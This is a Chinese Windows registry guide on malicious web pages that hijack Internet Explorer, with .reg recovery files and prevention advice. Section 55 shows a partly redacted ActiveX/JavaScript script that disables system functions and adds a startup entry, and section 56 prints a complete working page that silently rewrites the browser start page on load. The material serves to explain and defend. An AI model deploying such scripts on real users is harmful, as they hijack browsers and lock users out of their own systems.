Windows 注册表攻略（二、注册表修改实例：54-56）

54、摆脱可恶网站的阴影

    某一天，当你一打开浏览器 Internet Explorer 就自动打开了一个网站的页面，这并不是你想要的主页设置！当你打开“Internet 选项”对话框时，发现不能修改主页设置了！再看看浏览器的标题，也多了一个“欢迎光临××××网站”的尾巴！可恶的是，当你想用 RegEdit 来编辑注册表时，系统弹出一个对话框，告诉你“注册表编辑已被管理员禁用”。
　　也许有人会告诉你：赶快用××××工具，它能修改注册表，可是一时怎么也找不到这个工具。也有人告诉你：自己写一个类似的脚本来修改这些设置，可是没有资料介绍怎么来写这样的脚本。
　　真的没有办法了吗？
　　不用着急，让我来帮你解决这一难题。不用担心，所有解决问题的办法不需要任何的工具，不需要懂得什么是脚本，更不用去写脚本。
一、解除注册表锁定
　　注册表是 Window 系统的中枢和心脏，它记录着操作系统中绝大多数的设置。在 Window 系统中有一个附带的注册表编辑工具，使用它可以很方便地访问和修改注册表，这就是 Regedit。
　　然而，这一工具并不总是有效！当执行这一命令时，系统会弹出一个对话框：“注册表编辑已被管管理员禁用。”(如下图所示)，这时注册表工具已被锁定。
                         
让我们按以下步骤来解除锁定：
1、点击“开始”菜单，从“程序”->“附件”中找到“记事本”命令(如下图)并执行它。
               
2、在记事本窗口中输入以下内容：
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\System]
DisableRegistryTools=dword:00000000
　　完成后的画面如下：

       
3、从“文件”菜单上选择“保存”命令，以“C:\reg.reg”名称存盘，如图：
      
4、打开“资源管理器”，切换到 C 盘，双点“reg.reg”文件，如图。

      
5、这时系统弹出“是否确认要将 C:\reg.reg 中的信息添加进注册表？”的对话框，点按“是”。
                   
随后弹出对话框“C:\reg.reg 里的信息已被成功地输入注册表。”表明导入成功。点按“确定”关闭对话框。
                    
这时注册表已被成功地解锁！

二、修改主页设置
　　1、解除主页设置的不可用
　　很多主页修改的代码为了防止用户改回自己的设置，会将“”对话框中主页更改变得不可用。
　　在 Microsoft Internet Explorer 浏览器窗口里，点按“工具”菜单，选择“Internet 选项”命令。如下图：
                             
这时打开“Internet 选项”对话框，可以看到主页更改框的内容均为灰色，不可更改。
               
采用步骤一中第2步的方法打开记事本，输入以下内容：
REGEDIT4
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
HomePage=dword:00000000
　　完成后的画面如图：

      
      从“文件”菜单上选择“保存”命令，以“C:\reg2.reg”名称存盘。
    打开“资源管理器”，切换到 C 盘，双点“reg2.reg”文件。
　　这时系统弹出“是否确认要将 C:\reg2.reg 中的信息添加进注册表？”的对话框，点按“是”。
　　随后弹出对话框“C:\reg2.reg 里的信息已被成功地输入注册表。”表明导入成功。点按“确定”关闭对话框。表明导入成功。
　　这里再次进入浏览器里打开“Internet 选项”对话框，可以看到主页设置已变亮。在地址栏里重新输入自己喜欢的主页地址即可。

               
三、更多的高级设置
　　除了主页设置外，有一些网站还会修改浏览器的标题，鼠标右键菜单等内容，如下图：
http://www.yesky.com/20011016/cl011016012.gif
怎么能够取消这些讨厌的设置呢？
1、运行注册表工具
　　从“开始”菜单上选择“运行”命令，打开“运行”对话框。在“打开”栏里输入“regedit”，然后按“确定”。

                 
    如果在“开始”菜单上没有“运行”命令(该命令是否显示也是注册表控制的)，可以采用以下方法：打开“资源管理器”，切换到 Windows 目录，如下图所示，找到 regedit 程序，双点它。

       
2、了解注册表
　　所谓注册表就是一个庞大的数据库，其中容纳了应用程序和计算机系统的全部配置信息，Windows 9x系统和应用程序的初始化信息，应用程序和文档文件的关联关系，硬件设备的说明，状态和属性以及各种状态信息和数据。
      
    注册表编辑器则是来对注册表进行各种编辑工作。系统对注册表预定了六个主根键：
　　HKEY_CLASSES_ROOT：包含了有关OLE信息，以便在系统工作过程中实现对各种文件和文档信息的访问。
　　HKEY_USERS：用户根据个人爱好设置的信息。
　　HKEY_CURRENT_USER：一个指向结构中分枝的指针。
　　HKEY_LOCAL_MACHINE：该关键字包含了本地计算机（相对网络环境而言）的硬件和软件的全部信息。
　　HKEY_DYN_DATA：包含了系统属性中的动态数据—即发生事件的有关信息。
　　HKEY_CURRENT_CONFIG：指向HKEY_LOCAL_MACHINE\CONFIG结构中的分支的指针。
　　我们来看一个浏览器标题改变的例子，如下图：
      
    在“注册表编辑器”窗口中，依次点击：HKEY_CURRENT_USER、Software、Microsoft、Internet Explorer、Main(该过程类似于依次打开文件夹，因此常常记作
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main，以后均采用此方法)，在右边的窗口中可以看到一系列的值项(所谓值项是指出现在注册表窗口右窗格中的数据字符串，它定义了当前所选项的值。值项有三个部分：名称、数据类型和值本身)。
　　如果在其中“名称”一栏存在“Window Title”，那么它对应的数据字符就会显示在浏览器的标题上，从下图可以看出来。如果没有“Window Title”，通过以下步骤来实验这一效果：
　　a、在“注册表编辑器”窗口右窗格的空白区域点按鼠标右键，依次选择“新建”、“字串值”。
            

b、在新生成的名称栏内输入“Window Title”。

           
d、重新打开浏览器窗口，这时可以看到设置的字符已经添加到标题上了(如果看不到请重新启动计算机)。

                        
    由此可见，浏览器的标题是通过
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\ 注册表项下 Window Title 的值项来设置的。如果无该值项，则系统会显示缺省的名称“Microsoft Internet Explorer”，也就是说如果要改回系统原来的设置，则删除该值项即可。
其他影响操作系统的注册表项值有：
注册表项 值项 设置的内容 恢复的方法
HKEY_CURRENT_USER\SoftwareMicrosoft\ Internet ExplorerMain Start Page 浏览器的主页设置 设置为“about:blank”空白页
HKEY_CURRENT_USER\SoftwareMicrosoft\WindowsCurrentVersion\ PoliciesExplorer NoRun 开始菜单上不显示“运行”命令 删除该值项
HKEY_CURRENT_USER\SoftwareMicrosoft\ Windows\CurrentVersionPolicies\Explorer NoClose 开始菜单上不显示“关闭系统”命令 删除该值项
HKEY_CURRENT_USER\SoftwareMicrosoft\ Windows\CurrentVersionPolicies\Explorer NoLogOff 开始菜单上不显示“注销”命令 删除该值项
HKEY_CURRENT_USER\SoftwareMicrosoft\ Windows\CurrentVersionPolicies\Explorer NoDrives 在“我的电脑”里隐藏硬盘 删除该值项
HKEY_CURRENT_USER\SoftwareMicrosoft\ Windows\CurrentVersionPolicies\System Disable
Registry Tools 禁止注册表编辑工具 删除该值项
HKEY_CURRENT_USER\SoftwareMicrosoft\ Windows\CurrentVersionPolicies\Explorer NoDesktop 不显示桌面图标 删除该值项
HKEY_CURRENT_USER\SoftwareMicrosoft\ Windows\CurrentVersionPolicies\WinOldApp Disabled 不可使用旧DOS程序 删除该值项
HKEY_CURRENT_USER\SoftwareMicrosoft\ Windows\CurrentVersionPolicies\WinOldApp NoRealMode 不能进入DOS模式/窗口 删除该值项
HKEY_LOCAL_MACHINE\SoftwareMicrosoft\ Windows\CurrentVersionWinlogon LegalNotice
Caption 登录Windows窗口的标题 删除该值项
HKEY_LOCAL_MACHINE\SoftwareMicrosoft\ Windows\CurrentVersionWinlogon LegalNotice
Text 登录Windows窗口的提示语 删除该值项
HKEY_CURREN_USER\SoftwareMicrosoft\ Internet ExplorerMain Window Title 浏览器的标题 删除该值项

55、抓住网页恶意代码的黑手
【编者按：病毒的泛滥弄得计算机用户人人 自危，木马的流行让人感觉在互联网上毫无隐私可言，而网上愈 演愈烈的"网 页病毒"更是搅得人心惶惶，从各方面的求救信号中可以略窥这"病毒"的症状 ：在无意浏览了一些网页后，就发现IE标题栏、IE起始主页被莫 名其妙地修改 了、每次开机出现莫名其妙的提示框、修改输入法启动项、启动无关程序 ......，更有文章称：有些网页"病毒"会格式化硬盘。更令人生厌的是，通过 IE"工具"菜单下的"Internet选项"操作界面根本不能修改以恢复 原状。在互联 网发达的今天，谁不天天要浏览众多网页？如果真有这样一些病毒，岂还得了 ？编者从网友来信、论坛收集了一些信息，并对此作了比较详细 的分析后，认 为这"病毒"的更大成分是恶意代码。现在就让我们一步一步地让这些恶意代码 曝光，揭开其"神秘"的面纱！】
网友呼救：

             
    恶意网页代码能格式 你的硬盘， 你相信吗？
相关网文摘引
　　以下是从网上一篇文章节选(由于不知道出处，敬 请作者与我们联系)，作者对能格式化硬盘的恶意代码来了一次" 亲密接触"， 可真令人心惊胆颤的，看来说什么恶意代码能格式化硬盘并非空穴来风！
　　一日，忽然听朋友说，他在上网 的时候， 不知点击了什么东西，而将他的硬盘全部给格式化了。我首先的念头就是：该 不会是中了那个有名的国产宏病毒"七月杀手"？不过这个宏病毒 是在系统 Autoexec.bat文件中加入了"deltree c:\/y"，应该不会格式化整个硬盘。那该不会是……
　　曾经在某个杂志 上看到过一个介绍，说什么IE浏览器可以通过执行ActiveX而把 硬盘格式化， 而且记得当时还公布了源代码，只是当时公布的源代码是针对西班牙版的 Windows，对中文版的Windows没有用，说不定那些代码现在已经被一 些高手给 改成了针对中文Windows的呢。
　　问问自己的朋友，他也是稀里糊涂地 被格式化掉硬盘的，当时进入的网站也不记得了。没有办法，我只好自己跑到 国内的一些网站去找类似的主题文章。皇天不负苦心人，终于找 到了几个可以 格式化硬盘的HTML文件。网站上的版主出自好心，提醒下载的网友：只能供自 己研究，不可害人。
　　考虑到危险性，我先用记事本随便打开其中一个 看看源代码，没有想到这个源文件竟给加了密，里面是用 javascript写的脚本 ，加密的部分好像只是一些字符的定义，而真正的脚本内容也只是显示一些字 符在屏幕上。因为自己的机器是刚装好的，没有什么特别重要的数据，所以
就抱着"过把瘾就死"的念头，用IE浏览器打开了这个HTML文件 。接着，浏 览器发出一个警告："该页上的ActiveX控件与页上的其它部分进行交互可能不 安全，是否允许进行交互？"。如果你选择"是"，则就会运行那些不安全控件 。不过我试的这个HTML文件只是给大家开个玩笑，你打开它后， 它说什么"你 的C盘已经被它强行输入格式化，一旦重新启动就格式化了。请不要启动，立 即保存有用的文件。"等诸如此类的话。我仔细检查了一下Windows启动程序里 的内容，也没有什么变化，于是放心大胆地重启，果然是开的玩 笑。
　　 在下载的另外一个HTML文件中，看看源代码，不禁吓了一跳。程序仅有的不足 30代代码中有24行都是调用Windows里自带的format.com命令，真是够狠的。 除了A、B两个驱外，只要你能够分的区C-Z，都会被格式化。为了 验证其效果 ，又不想我的硬盘被格式化，我把Windows里自带的format.com给改了名字， 然后用IE打开该HTML文件，浏览器同样发出一个警告："该页上的 某些软件 (ActiveX控件)可能不安全。建议您不要运行。是否允许运行？"。当你选择" 是"的时候，会弹出几十个DOS窗口，可能是因为它找不到 format.com这个文件 ，找开的所有DOS窗口都是什么显示也没有。它不但调用了format.com，另外 还加上了一些参数，如快速格式化等，再加上格式化时窗口就已 经自动完成了 硬盘格式化的工作，等你发现时也已经悔之晚矣。幸好我事先已经把硬盘里的 format.com给改了名字，否则后果可想而知。怎样知道自己遭了恶意代码，请看"中 毒 现象素描"？
中毒现象素描：
　　笔者对网上言论进行了搜集，将其分门别类陈列如下：
（一）、默认主页被修改 ：
　　"最近，我的电脑发生了 一个奇怪的现象，浏览器的默认主页被自动设为www.********.com，一开始我并没有留意 ，心想只要在IE的"Internet选项"中修改回原来的设置就可以了 ，修改后，果 然没事了，但第二天开机，又被改回去了。 "
（二）、IE标题栏被修改：
　　"不知从什么时候起，我 的每个打开的IE页里的 标题栏多出了什么"让历史告诉未来，知青网www.zhiqing.org）"的字样； "
（三）、开机时出现提示框：
　　"一次浏览了一个网页后 ，在看了作者高现需写的"去除IE默认主页、标题诡异添加之一招 两式"（http://www.yesky.c om/20010808/191701.shtml）后虽然解决了去除默认主页问 题，但没法去 掉开机时出现一个提示框，什么“欢迎来www.play.cn.gs"之类的！ "
（四）、IE地址栏下多出了文字 :
　　"地址栏下出现一些莫名 其妙的文字，不知怎么去掉。 "
（五）、在注 册表中对IE相关的注册表项如 默认主页等修改无效：
　　" 有些网站很可恶，它将IE的默认网页设置成了 该网站的名称后，我自己通过修 改注册表项的"Start Page"和 "Default_Page_URL"后仍不能生效，不知怎么办 ！"
（六）、Internet Exploer中点击右键，菜单中出现非法站点 的链接：
　　"同样也是由于一次访问了一个网站，以后当浏览网页时，如果点击右键，则弹出的菜单中有非法站点的链接。"
（七）、修改了操作系统
　　"浏览了一个网站，后来发现系统已经禁止了'关闭系统'、'运行'、'注销'功能，并且C盘找不到了、注册表编辑器regedit不能使用、DOS程序不能运行，无法进入系统实模式"
    恶意代码真的就那么神秘而不可知吗 ？ 不，让我们坚决说"不"！
程序讲解
　　笔者了 解一些有关Applet、ActiveX及脚本语言方面的知识，在下载含 有恶意代码后 ，对其引用的javascript脚本文件进行了一些分析。由于安全原因，请恕我不 能将代码完整地写出来或者对程序的编写进行过细的讲解，只是 让大家了解到 这个代码并不神秘。JAVA的最初应用就是Applet程序。虽然JAVA对Applet的安 全作出了限制，但由于浏览器或语言漏洞的原因，当它与功能比较强大的脚本 语言结合时，这些小应用程序常可凭借正常或诡秘的手段对用户 的机器进行修 改，比如修改注册表，运行相关的DOS命令，在用户机器上安装木马或激活相 关的应用程序，其功能之强大远非单纯的网页所能胜任，由此看来，现在网上 所流传的说什么浏览相关网页中病毒或者硬盘被格式化也就见怪 不惊了。另外 ，还有一种嵌入式应用程序就是ActiveX，是微软的一种插件技术，也可以象 Applet一样进行一些针对本机的操作。现在让我们了解一下以下代码编制的机 理（如果你不了解脚本语言，可仅看看程序修改了哪些注册表表 项，然后找到 这些表项并修改回来）。
document.write（"〈APPLET HEIGHT=0 WIDTH=0 code=.......〉〈 /APPLET〉"）; file://嵌入Applet文件
function f）{ file://做出种种修改的语句就在这个函数里
try
{
//ActiveX initialization
a1=document.applets[0]; file://获取applet运行对象，以下语句指向注册表中有关IE的表项
a1.setCLSID（"{.............}"）;
a1.createInstance（）;
Shl = a1.GetObject（）;
a1.setCLSID（"{.............}"）;
a1.createInstance（）;
FSO = a1.GetObject（）;
a1.setCLSID（"{.............}"）;
a1.createInstance（）;
Net = a1.GetObject（）;
try
{
if （ documents.cookie.indexOf（"Chg"） == -1）
{
//以下是对操作系统相关注册表项值项的修改
//使系统没有“运行”项，以防止用户就不能通过注册表 编辑器 来修复设置。
Shl.RegWrite （ "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\ Explorer\\NoRun", 01, "REG_BINARY"）;
//让操作系统无“关闭系统” 选项
Shl.RegWrite （ "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\ Explorer\\NoClose", 01, "REG_BINARY"） ;
//让操作系统无“注销”选项
Shl.RegWrite （ "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\ Explorer\\NoLogOff", 01, "REG_BINARY"）;
注：使受害者系统没有“注销”项
//让操作系统无逻辑驱动器C
Shl.RegWrite （ "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\ Explorer\\NoDrives", "00000004", "REG_DWORD"）;
//禁止运行所有 的DOS应用程序；
Shl.RegWrite （ "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\ WinOldApp\\ Disabled","REG_BINARY"） ;
//让操作系统无法切换 至传统DOS的实模式下
Shl.RegWrite （ "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\ \WinOldApp\\NoRealMode","REG_BINARY"） ;
// 让系统登录时显示一个登录窗口，以下是写入启动弹出对话 框标 题
Sh1.RegWrite （ "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ Winlogon\\Legal NoticeCaption", "........"）;
// 写入启动弹出对话框内 容
Sh1.RegWrite （ "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ Winlogon\\Legal NoticeText", "..............."）;
//以下是对IE 相关注册表项值项 的修改
// 设置浏览器默认主页
Sh1.RegWrite （"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", ".............."）;
// 修改启动中的输入法启动项
Sh1.RegWrite （ "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ Run\\internat.e xe", ".............."）;
// 设置注册不可更改
Sh1.RegWrite （ "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\WinOl dApp\\NoRealMode", "00000000", "REG_DWORD"）;
//修改 浏览器的标题栏
Shl.RegWrite （"HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "..............."）;
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", ".............."）;
// 以下程序是将含恶意代码的网页添加至 收藏夹中
var WF, Shor, loc;
WF = FSO.GetSpecialFolder（0）;
loc = WF + "\\Favorites";
if（!FSO.FolderExists（loc））
{
loc = FSO.GetDriveName （WF） + "\\Documents and Settings\\
" + Net.UserName + "\\Favorites";
if（FSO.FolderExists（ loc））
{
AddFavLnk（loc, "显示标题.....", "URL......" ）;
}
}
//设置 cookie值
var expdate = new Date（（new Date（ ））.getTime（） + （1））;
documents.cookie="Chg=general; expires=" + expdate.toGMTString（ ） + "; path=/;"
}
}
catch（e）
{}
}
catch（e）
{}
}
//初始化函数，并每隔一秒执行修 改程序
function init（）
{
setTimeout（"f（）", 1000）;
}
init（）;
"水来 土掩，兵来将挡"，让我们向恶意代码举起铁拳头！
因应对策：
　　 当不小心遭了恶意代码时，首先需要做的是动修改注册表相关表 项值：
一、手动修改
1、改正对默认 主页的修改：
在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InternetExplorerMain中的 "Start Page"和"Default_Page_URL"。
2、更改对Internet Explorer的标题栏的修改：
在HKEY_LOCAL_MACHINE\Software\Microsoft\InternetExplorerMain中右边的 窗口中修改字符串值“Window Title”为新标题的名字。
3、改正对地址栏 下的文字修改：
在HKEY_CURRENT_USER\Software\Microsoft\InternerExplorerToolbar，在右边找到键值LinksFolderName,将其中的内容删去即可 。
4、改正对Windows启动栏的 修改：
这种情况适用于通过修改注册表项?quot;Start Page"和 "Default_Page_URL"仍不能生效的情况，可试着依次打开如下主键：HKEY_LOCAL_MACHINE/Microsoft/Windows/CurrentVersion/
run修改右栏里的 “qwe”的键值，删掉表项值，重新启动计算机。
5、改正在Internet Exploer中点击右键中出 现非法站点的链接：
在 HKEY_CURRENT_USER\Software\Microsoft\InternetExplorerMenuExt中删除 非法链接的该键值即可。
6、清除浏览器中地址栏中无用的地址：
在 HEKY_CURRENT_USER\Software\Microsoft\InternetExplorerTypeURLs中删除无用的键值即可。
二、应用工具软件
　　下载《反修改精灵》软件：
　　该软件能有效地防止IE修改 ，可到天极网mydown下载站下载。
三、备份与命令恢复
　　1：对于Win9x用户，可在机器启动时按F8 键，选择到MS-DOS方式下，使用Scanreg/restore命令来恢复以前备份的正常注册表。
　　2：对于Win2000用户，把以下内容copy下来，存 为 recover.reg文件，选带命令行的安全模式，用命令regedit recover.reg导入，然后重启机器：
recover.reg文件内容如下：
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\Explorer]
"NoDriveTypeAutoRun"=dword:00000095
"NoRun"=hex:
"NoLogOff"=hex:
"NoDrives"=dword:00000000
"RestrictRun"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\System]
"DisableRegistryTools"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\System]
"DisableRegistryTools"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\WinOldApp]
"Disabled"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\WinOldApp]
"NoRealMode"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion \Winlogon]
"LegalNoticeCaption"=""
"LegalNoticeText"=""
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
"Window Title"=""
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Window Title"=""
    与其被动挨打，无如主动出击， 作好防微杜渐的措施尤为必 要！
防患于未然：
　　笔者阅读了网上相关文章，对防御方法作了一些总结，希望你能作些 积极的防范.
　　1、要避免中招，关键是不要轻易去一些自己并不 了解的站点，特别是那些看上去美丽诱人的网址更不要贸然前往 ，否则吃亏的 往往是你。
　　2、运行IE，点击“工具→Internet选项→安全→ Internet区域的安全级别，把安全极别由“中”改为“高” 。
　　3 、由于该类网页是含有有害代码的ActiveX或Applet、javascript的网页文件 ，因此在IE设置中将ActiveX插件和控件、Java脚本等 全部禁止就可以避免中 招。具体方法是：在IE窗口中点击“工具→Internet选 项，在 弹出的对话框 中选择“安全”标签，再点击“自定义级别”按钮，就会 弹出“安全设置”对话框，把其中所有ActiveX插件和控件以及Java相关全部 选择“ 禁用”即可。不过，这样做在以后的网页浏览过程中可能会造成一些正 常使用ActiveX的网站无法浏览。唉，有利就有弊，您还是自己看着办吧。
　　4、对于Windows98用户，请打开C:\WINDOWS\JAVAPackages\CVLV1NBB.ZIP，把其中的“ ActiveXComponent.class”删掉；对于WindowsMe用户，请打开C:\WINDOWS\JAVAPackages\5NZVFPF1.ZIP，把其中的“ ActiveXComponent.class”删掉。请放心，删除这个组件不会影响到你。
　　5、安装网络防火墙，特别是安装了Norton2001后，进 入该类网 页就会报警提示有脚本写注册表，国产反病毒软件KVW3000也有此类功效，建 议您也安装一个这样的软件。
　　6、虽然经过一番辛 苦的劳动修 改回了标题和默认连接首页，但 如果以后又不小心进入该站就又得麻烦一次 。其实，你可以在IE中做一些设置 以便永远不进该站点：
　　打开IE，点击“工具”→ “Internet选项 ”→“内容”→“分级审查”，点“启用”按钮，会调出“分级审查”对话框 ，然后点击“许可站点”标签，输入不想去的网站网址，如输入 ： http://www.XXX.com，按“从不”按钮，再点击“确定”即大功告成！ 正常 浏览网页的。
　　7、设置注册表相关值项，为注册表"加锁"
　　（1）运行注册表编辑器regedit.exe；
　　（2）在HKEY_CURRENT_USER\Software\Microsoft\WindowsCurrentVersion\Policies\System下，增加名为
DisableRegistryTools的DWORD值项，并将其值改为“1”，即可禁止使用注册表编辑器regedit.exe。
　　如果你由于其它原因需要修改注册表，可用如下解锁方法：
　　用记事本编辑一个任意名字的.reg文件，比如recover.reg，内容如下：
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools"=dword:00000000
　　则双击运行recover.reg即可。
对恶意代码不仅要 知其然，还要知其 所以然！
背景资料：
一、什么是注册表
    注册表是在 Windows中，存储关于计算机配置信息的数据库。注册表包含 Windows 2000 操作时不断引用的信息，例如：
每个用户的配置文件。
计算机上安装的程序和每个程序可以创 建的文档类型。
文件夹 和程序图标的属性设置。
系统中 的硬件。
正在使用的端口 。
注册表按层次结 构来组织，由项、子项、配 置单元和值项组成。
请 参阅配置单元 ；子项；值项。
二、什么是值项
　　出现在注册表窗口右窗 格中的数据字符串，它定义了当前所选项的值。值项有三个部分 ：名称、数据 类型和值本身。
三、什么是注册表项
　　在“ 注册表编辑器”中，出现在“注册表编辑器” 窗口 的左窗格中的文件夹。项可 以包含子项和值项。例如，Environment 是 HKEY_CURRENT_USER 的一个项。
四、 什么 是Java Applet
　　Java 语言可以编写两种类型的程序：应 用程序 （Application）和小应用程序（ Applet）。应用程序是 可以独立运 行的程序，而Applet不能独立运行，需要嵌 入HTML文件,遵循一套约定，在支 持Java的浏览器（如： Netscape Navigator 2.02版本以上， HotJava,Microsoft Internet Explorer 3.0版本以上）运行，是Java一个重要的应用分支，也是 当时Java最 令人感兴 趣的地方(它一改网页呆板的界面)，就是在WWW网页（ Home Page / Pages）设计中加入动画、 影像、音乐等，而要达到这些效果使用最 多的 是Java Applet和Java Script (这是一种Java的命令稿语言)。
五、什么是javascript
　　 javascript是一种基于对象(Object)和事件驱动(Event Driven)并具有安全性能的脚本语言。使用它的目的是与HTML超文本标记语言 、与Web 客户交互作用。从而可以开发客户端的应用程序等。它是通过嵌入或 文件引用在标准的HTML语言中实现的。它的出现弥补了HTML语言的缺陷，它是 Java与HTML折衷的选择，具有基于对象、简单、安全、动态、跨 平台性等特性 。
六、什么是ActiveX
　　 ActiveX是Microsoft提出的一组使用COM（Component Object Model，部件对 象模型）使得软件部件在网络环境中进行交互的技术。 它与具体的编程语言无关。作为针对Internet应用开发的技术 ，ActiveX被广 泛应用于WEB服务器以及客户端的各个方面。同时，ActiveX技术也被用于方便 地创建普通的桌面应用程序。在Applet中可以使用ActiveX技术 ，如直接嵌入 ActiveX控制，或者以ActiveX技术为桥梁，将其它开发商提供的多种语言的程 序对象集成到Java中。与Java的字节码技术相比，ActiveX提供 了“代码签名 ”（Code Signing）技术保证其安全性。

56、深入剖析恶意攻击性网页

      最近越来越多的个人网站都采用了恶意攻击性网页，从开始的只是修改IE首页地址，强迫大家一打开IE就进入他的主页来提高主页访问量，愈演愈烈，到最后发展到锁定IE部分功能阻止用户恢复，甚至有的网页浏览后造成系统崩溃、数据丢失！对于此种用心险恶的途径，以经到了让人发指的地步，为了增强大家上网安全，今天我们来深入剖析一下这些阴险网页的工作原理和应采取的预防措施。 首先，我们来了解一下Windows中注册表的概念。
     在计算机操作系统中都可以由用户按照各自的要求及硬件性能对计算机系统的硬件和软件进行各种各样的配置，这些配置参数就是配置文件，如在DOS中的Config.sys文件。在早期的Win3.x中，对软硬件的配置参数是在扩展名为.ini的文件中存放的，但微软设计时考虑不足造成了每种设备或应用程序都有自己的INI文件，使管理及通用性都难以处理。因此在Windows 95开始后继版本中，将各种软、硬件的有关配置和状态信息；用程序和资源管理器外壳的初始条件、首选项和卸载数据；算机的整个系统的设置和各种许可，文件扩展名与应用程序的关联， 硬件的描述、状态和属性；计算机性能纪录和底层的系统状态信息，以及各类其他数据存储在一起，形成一个庞大的数据库来统一进行管理，这就是Windows的注册表(Registry)。
      Windows提供了注册表编辑器（REGEDIT.EXE）和注册表文件（.reg）引入等方法来修改注册表配置，如果我们修改了注册表中的配置参数（各级子关键字的“键值”），就会改变系统工作状态，可以使系统优化，工作得更好更快，也可以略有不慎使系统出错、崩溃造成不能使用，所以不提倡对系统配置不熟悉的人随便对注册表进行修改！
    恶意攻击性网页正是自动修改了浏览该网页的电脑的注册表，从而达到修改IE首页地址、锁定部分功能等的阴险目的。但是它又是如何能在我们浏览该网页的瞬间，悄悄地修改了注册表的呢？我们还得了解一下微软的ActiveX技术。
      ActiveX是Microsoft提出的一组使用COM（Component Object Model，部件对象模型）使得软件部件在网络环境中进行交互的技术集。它与具体的编程语言无关。作为针对Internet应用开发的技术，ActiveX被广泛应用于WEB服务器以及客户端的各个方面。同样ActiveX可以应用于网页编制语言中，利用javascript语句轻易就可以把ActiveX嵌入到Web页面中。目前，很多第三方开发商编制了各式各样的ActiveX控制。在Internet上，有超过1000个ActiveX控件供用户下载使用。在WINDOWS的SYSTEM目录下，保存有很多Window提供的ActiveX控件。
     考虑到WEB的安全性，为了在服务器与客户端建立良好的信任关系，必须为每个在WEB上使用ActiveX控制设置一个“代码签名”（Code Signing），VC5.0提供了生成供测试用的“代码签名”的工具。如果要正式发布，则必须向有关机构申请。但又由于“代码签名”技术的不成熟，造就了阴恶的攻击性代码也可以找到一个“代码签名”顺利进行攻击，修改注册表！看，我们就是这样被微软的不成熟技术暗算了！
    下面我们来剖析一个简单的攻击性网页源代码：
<html>
<head>
<title>攻击性网页</title>
</head>
<body>
<!--上面是最基本的网页文件头-->
<script>
document.write("<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLET>");
<!--用javascript语句调用ActiveX-->
function f( )
{
<!--把下面的攻击性代码定义为一个函数f -->
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
<!--ActiveX的一个合法"代码签名"-->
a1.createInstance();
Shl = a1.GetObject();
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", " http://piaoyes.126.com";);
<!--修改注册表，把你的IE首页改成我的网站-->
}
function init( )
{
setTimeout("f( )", 1000);
}
init( );
<!--实现打开页面后1秒钟内执行修改注册表的工作 -->
</script>
<!—下面为网页显示文字部分 -->
<p><font face="隶书" size="7" color="#FF0000"> 恶意攻击性网页试验</font></p>
<hr>
<p><font face="宋体" size="5" color="#FF0000"> 现在已经把你的IE首页改成我的网站 http://piaoyes.126.com </font></p>
<p><font face="宋体" size="5" color="#FF0000"> ——飘叶</font></p>
</body>
</html>
     你看一个并不复杂的网页就可以修改了注册表的HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page键值，也即修改了IE的首页地址。如果再加入几条，就可以修改锁定更多的功能了，限于编幅，这理就不一一列出对应的注册表子键了，常见的修改后现象有：
    修改IE的标题、首页、搜索页、IE工具栏背景图、禁止更改主页设置；禁止更改历史纪录设置；禁止使用鼠标右键；禁用“另存为……”；禁止“文件”菜单下面的“打开”功能；禁止IE全屏模式；禁止IE显示“工具”菜单中“Internet选项”；禁止更改高级页设置；禁止更改临时文件的设置；禁止内容项；禁止安全项；禁止“重置Web设置”功能；禁止“查看源文件”菜单；禁止开始菜单中的"设置\任务栏和开始菜单"命令；禁止"查找"命令；禁用开始菜单的"运行"；让操作系统无法切换至DOS实模式；开机即跳出对话框；禁用“控制面板”；禁止Internet连接向导；禁止更改默认浏览器检查；禁止添加脱机页计划；禁止“资源管理器”中的“文件”菜单；禁止更改连接设置；更改“我的电脑”、“我的文档”、“回收站”名称；隐藏驱动器盘符；隐藏桌面所有图标；禁止更改显示属性；禁止删除、增加打印机；隐藏设备管理器、屏幕保护程序、硬件配置文件、虚拟内存、文件系统选项；修改Outlook Express的标题栏；禁止MSDOS方式；禁止“关闭系统” 、禁止“注销”；禁止使用reg注册表文件；禁止使用注册表编辑程序regedit.exe；禁止使用任何程序…… 天啊！我都差不多要拔刀自尽算了！
